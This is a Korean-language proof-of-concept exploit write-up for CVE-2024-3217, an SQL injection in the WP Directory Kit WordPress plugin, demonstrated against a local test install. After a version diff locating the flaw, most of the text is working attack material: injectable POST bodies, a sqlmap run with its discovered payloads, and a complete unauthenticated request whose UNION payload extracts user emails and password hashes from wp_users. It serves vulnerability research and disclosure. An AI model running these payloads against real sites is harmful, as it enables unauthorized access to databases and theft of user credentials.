
개념 증명 익스플로잇 for CVE-2024-3217, WordPress용 WP Directory Kit 플러그인에서 인증되지 않은 SQL 인젝션을 시연하며, 데이터 추출을 위한 페이로드를 포함합니다.
WP Directory Kit WordPress 플러그인은 'attribute_value' 및 'attribute_id' 매개변수를 통해 SQL 인젝션에 취약합니다. 사용자가 제공한 매개변수에 대한 이스케이핑 부족과 기존 SQL 쿼리에 대한 충분한 준비 부족으로 인해 버전 1.3.0을 포함한 모든 버전에서 발생합니다. 이로 인해 인증된 공격자(구독자 수준 이상)가 기존 쿼리에 추가 SQL 쿼리를 추가하여 데이터베이스에서 민감한 정보를 추출할 수 있습니다.
올바른 버전을 WordPress를 통해 설치했습니다.
https://wordpress.org/plugins/wpdirectorykit/
이전 버전을 원하면 Advanced View를 클릭하세요.

차이 비교를 위해 1.3.0과 1.3.1을 다운로드하려고 합니다.
https://downloads.wordpress.org/plugin/wpdirectorykit.1.3.0.zip https://downloads.wordpress.org/plugin/wpdirectorykit.1.3.1.zip
차이를 비교하고 'attribute_value' 및 'attribute_id' 값을 검색하면 이 파일에서 발견했습니다.
\wpdirectorykit\application\controllers\Wdk_frontendajax.php VS Code에서 'folder diff'라는 확장을 사용했습니다.

1.3.0 버전에서는 "sanitize_text_field" 함수가 사용되었지만 문제는 여기에 직접 있지는 않고 대부분 아래 부분에 더 있습니다.

만약 "$attr_search"가 숫자이면 $id_part = "$attr_id=$attr_search OR ";를 제어할 수 있으며, 이는 SQL 쿼리의 일부로 사용됩니다. 그리고 " ' "를 사용할 수 없는데, 이는 쿼리의 일부이기 때문에 이스케이프할 필요가 없어 직접 인젝션 부분을 코드에 포함할 수 있습니다.
여기에서 사용됩니다.

이제 이러한 부분에 도달하는 요청을 만들고 "$attr_search"에 숫자 값을 넣은 다음 인젝션을 수행해야 합니다. 설명에 따르면 최소 권한은 "subscriber-level"인 것으로 보이며, 나중에 확인하겠습니다.

offset=0&per_page=10&curr_id=&attribute_id=ID=1)or 1=1-- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not+Selected
offset=0&per_page=10&curr_id=&attribute_id=ID=1)*-- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not+Selected
이제 PoC를 위해 SQLMAP으로 테스트하겠습니다.
python .\sqlmap.py -r .\sql-wpdirectorykit-4.req --dbs --batch --dbms=mysql --flush-session
[17:08:36] [INFO] parsing HTTP request from '.\sql-wpdirectorykit-4.req'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
[17:08:36] [INFO] flushing session file
[17:08:36] [INFO] testing connection to the target URL
[17:08:37] [INFO] checking if the target is protected by some kind of WAF/IPS
[17:08:37] [INFO] testing if the target URL content is stable
[17:08:38] [INFO] target URL content is stable
[17:08:38] [INFO] testing if (custom) POST parameter '#1*' is dynamic
[17:08:39] [INFO] (custom) POST parameter '#1*' appears to be dynamic
[17:08:39] [WARNING] heuristic (basic) test shows that (custom) POST parameter '#1*' might not be injectable
[17:08:40] [INFO] testing for SQL injection on (custom) POST parameter '#1*'
[17:08:40] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:08:44] [INFO] (custom) POST parameter '#1*' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[17:08:44] [INFO] testing 'Generic inline queries'
[17:08:44] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[17:08:45] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[17:08:45] [WARNING] time-based comparison requires larger statistical model, please wait.................... (done)
[17:09:11] [INFO] (custom) POST parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[17:09:11] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[17:09:11] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[17:09:13] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[17:09:18] [INFO] target URL appears to have 34 columns in query
[17:09:36] [INFO] (custom) POST parameter '#1*' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 65 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: offset=0&per_page=10&curr_id=&attribute_id=ID=1) AND 7544=7544-- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not Selected
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: offset=0&per_page=10&curr_id=&attribute_id=ID=1) AND (SELECT 1253 FROM (SELECT(SLEEP(5)))BUhD)-- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not Selected
Type: UNION query
Title: Generic UNION query (NULL) - 34 columns
Payload: offset=0&per_page=10&curr_id=&attribute_id=ID=1) UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7171717871,0x645450444e484b6162547547496545685342754f57475a505641526d4373656c6c50454f61444358,0x7171707671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- --- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not Selected
---
[17:09:36] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.3.29, Apache 2.4.48
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[17:09:37] [INFO] fetching database names
이제 필요한 최소 권한을 찾아보겠습니다. 쿠키 없이 권한 0부터 시작하여 최소 권한부터 구성하겠습니다.

쿠키를 삭제한 후에도 출력이 평가되었으므로 확인을 위해 sqlmap의 페이로드를 시도해 보겠습니다.

이는 개념 증명입니다. 이러한 공격에는 쿠키가 전혀 필요하지 않습니다. wp_users에서 모든 값을 추출하는 간단한 페이로드를 만들어 보겠습니다.
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Length: 551
sec-ch-ua: "Chromium";v="123", "Not:A-Brand";v="8"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.88 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/wordpress/wp-admin/admin.php?page=wdk_listing&id=10&is_updated=true
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
offset=0&per_page=10&curr_id=&attribute_id=ID=1) UNION ALL SELECT NULL,NULL,NULL,CONCAT(display_name,0x3a,display_name,0x3a,user_email,0x3a,user_pass),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from wp_users-- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not+Selected
페이로드 부분
1) UNION ALL SELECT NULL,NULL,NULL,CONCAT(display_name,0x3a,display_name,0x3a,user_email,0x3a,user_pass),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from wp_users-- -
참고: "search_term"을 숫자 값으로 설정해야 합니다. 이 예제에서는 "1"입니다.

완전한 UNION SQL 인젝션, 완전히 인증되지 않음.